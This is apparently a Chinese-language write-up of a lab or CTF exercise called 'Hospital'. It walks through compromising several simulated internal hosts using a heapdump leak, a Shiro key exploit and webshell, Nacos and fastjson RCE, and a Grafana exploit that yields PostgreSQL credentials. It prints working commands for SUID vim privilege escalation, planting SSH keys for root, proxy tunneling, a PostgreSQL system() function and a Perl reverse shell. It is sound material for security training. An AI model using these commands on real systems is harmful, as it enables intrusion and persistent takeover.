文章封面:Hospital

Hospital

Hospital

image-20260319204158802

啥也没扫出来,扫一手目录

image-20260319204422963

heapdump泄露,直接下载下来,用jdumpspider分析

image-20260319204707752

发现shirokey,直接一把梭

image-20260319205442143

注入冰蝎马,然后发现是低权限需要提权

1
find / -perm -u=s -type f 2>/dev/null

image-20260319210532000

注意到这里有一个vim.basic,由于冰蝎的shell并不是交互式的,所以这里先弹个shell,用python转交互式

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20260319211019036

这里其实可以直接用python提权

1
vim.basic  -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

然后这里学习一下怎么写ssh公钥,linux上面的打法是

1
2
3
4
5
6
7
8
#自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

ssh -i ~/.ssh/id_rsa root@靶机ip

xshell的方法使用 Xshell 8 进行 Linux 服务器公钥私钥登录_xshell8产品密钥-CSDN博客

生成ssh公钥后上传到靶机

1
cat id_rsa_4096.pub >> /root/.ssh/authorized_keys

然后就跟着上面教程就连上了

然后传fscan扫一下内网

image-20260319213736126

1
2
3
172.30.12.5 本机
172.30.12.6 nacos
172.30.12.236 医院后台管理平台

用stowaway内网穿透,然后proxifier代理本机,这里准备先打这个nacos,有现成工具

image-20260319220026998

注入内存马

image-20260319220237009

然后剩最后一台,我们访问看看,利用bp插件可以探测出fastjson,这个工具的原理大概是打bcel恶意字节码rce,这里我们只需要改请求头内容就行

image-20260319222306197

然后依旧写ssh公钥连这一台,方便后续操作,由于他这个好像不同外网,我们只能在前面web1那台机子起监听,然后这台wget

1
2
wget http://172.30.12.5:2333/rsa2.pub
cat rsa2.pub >> /root/.ssh/authorized_keys

然后直接连上

image-20260319225448051

发现是双网卡,上传fscan看看,扫一波172.30.54.0/24

image-20260319225734583

扫到一个Grafana,这里依旧利用stowaway进行二级代理

image-20260319230245719

web3那台跟之前一样

1
./linux_x64_agent -c 172.30.12.5:7070 -s hack 

上面显示创建了新节点了,我们切换到1节点

1
2
3
(node 0) >> back
(admin) >> use 1
(node 1) >> socks 7788

这里用工具探测一下漏洞grafanaExp

1
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000

得到账号密码postgres / Postgres@123

然后proxifier配代理链,不过我这里配完了很奇怪连不上,换kali打

1
proxychains4 -q psql -h 172.30.54.12 -U postgres -W  

先改root密码

1
ALTER USER root WITH PASSWORD '123456';

然后就是反弹shell,在web3那台机器起监听,这里用perl脚本弹shell

1
2
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; /*创建命令执行函数*/
select system('perl -e \'use Socket;$i="172.30.54.179";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

其中libc的路径只能靠猜

1
2
3
4
5
/lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6
/lib64/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6

image-20260319232845818

拿到shell但是是低权限,sudo -l查看一手

image-20260319232925620

psql提权

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo /usr/local/postgresql/bin/psql
#输入前面改的密码123456,这里拿到psql里面的root权限,不是外面的
\?
!/bin/bash

image-20260319233603812

使用 Hugo 构建
主题 StackJimmy 设计